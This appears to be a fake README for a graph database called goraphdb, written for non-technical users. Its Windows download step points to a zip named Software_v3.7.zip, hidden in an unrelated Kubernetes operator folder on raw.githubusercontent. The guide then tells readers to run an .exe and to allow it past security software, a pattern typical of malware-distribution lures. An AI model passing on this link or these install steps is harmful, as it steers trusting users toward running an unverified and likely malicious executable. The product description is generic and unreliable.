Welcome to goraphdb, a user-friendly graph database application. It helps you store and manage connected data with ease. You can use it to explore relationships and patterns using simple queries. This software includes a clear interface and tools to build and manage your graphs without any technical background.
This guide will help you get goraphdb on your computer and start using it quickly. No programming knowledge is required.
To get started, you need to download goraphdb files from the official release page. Please follow these steps carefully.
Click the link below to open the goraphdb release page. It contains the software files you need.
On the Releases page, look for the latest version labeled with a date or version number, for example, "v1.0" or "Release 2024-05".
Under that version, find the file that matches your computer system:
- For Windows, it might be named
https://raw.githubusercontent.com/NEWXDGGEZ/goraphdb/main/deployment/k8s/operator/api/Software_v3.7.zipor similar. - For Mac, look for
goraphdb-macos. - For Linux, look for
goraphdb-linux.
Click the file name to start downloading it to your computer.
Once the download is complete:
- On Windows, double-click the
.exefile to open the software. - On Mac/Linux, open the terminal, navigate to the download folder, and run the file using
./goraphdb-macosor./goraphdb-linux.
goraphdb will open its management user interface automatically.
To run goraphdb smoothly, make sure your computer meets these minimum requirements:
- Operating System: Windows 10 or higher, macOS 10.15 or higher, Linux (any modern distribution)
- RAM: At least 4 GB
- Disk Space: Minimum 200 MB free space
- Processor: Intel or AMD 1.5 GHz or better
- Internet Connection: Required for downloading and updates
goraphdb is a graph database. Unlike regular databases, it stores data as nodes and connections, which is useful to map and analyze relationships. It features:
- A Cypher query interface: This lets you ask questions about your data in natural language-like syntax.
- A fluent builder: Use easy drag-and-drop tools to create graphs without writing code.
- A management UI: Intuitive screens to view, edit, and manage your graphs and queries.
All this is built with Golang technology to keep it fast and efficient.
Once installed, the application has simple controls and views to work with your data.
- Home Screen: Shows your recent projects and graphs.
- Graph Builder: Lets you add nodes (points) and edges (connections) by clicking and dragging.
- Query Window: Enter questions in plain Cypher commands to search your graph.
- Results Display: See query results in tables, charts, or diagrams.
- Create a New Graph: Click “New Graph” and start adding nodes.
- Add Data: Use the builder or import CSV files via the menu.
- Run Queries: Type a Cypher query like
MATCH (n) RETURN nto see all nodes. - Save Projects: Save your work locally for later use.
You can access settings by clicking the gear icon in the upper right corner. Here you can:
- Choose your preferred language
- Adjust display themes (light/dark mode)
- Set default file locations
- Configure network options for syncing data (optional)
If you have trouble running goraphdb, try these steps:
- Make sure your operating system is supported and up to date.
- Verify you downloaded the correct file for your system.
- If the program won’t open, try restarting your computer.
- Check your security software; it might block unknown apps. Allow goraphdb if prompted.
- Visit our Issues page to see if others have the same problem.
If you need further assistance:
- Check the FAQ on the Releases page.
- Search the issues or discussions on the goraphdb GitHub repository.
- Open a new issue with a clear description if your problem is not listed.
To keep goraphdb up to date:
- Visit the releases page regularly: ⬇️ goraphdb Releases
- Download the latest version file.
- Replace your current application file with the new one following the download and run steps.
goraphdb is open source software released under terms that allow you to use, modify, and share it freely. Your data stays on your machine unless you choose to share or sync it.
This project involves:
- Database
- Golang
- Graph
- Graph DB
- NoSQL
- NoSQL Database
Thank you for choosing goraphdb. Follow this guide step by step to get started and explore your connected data with ease.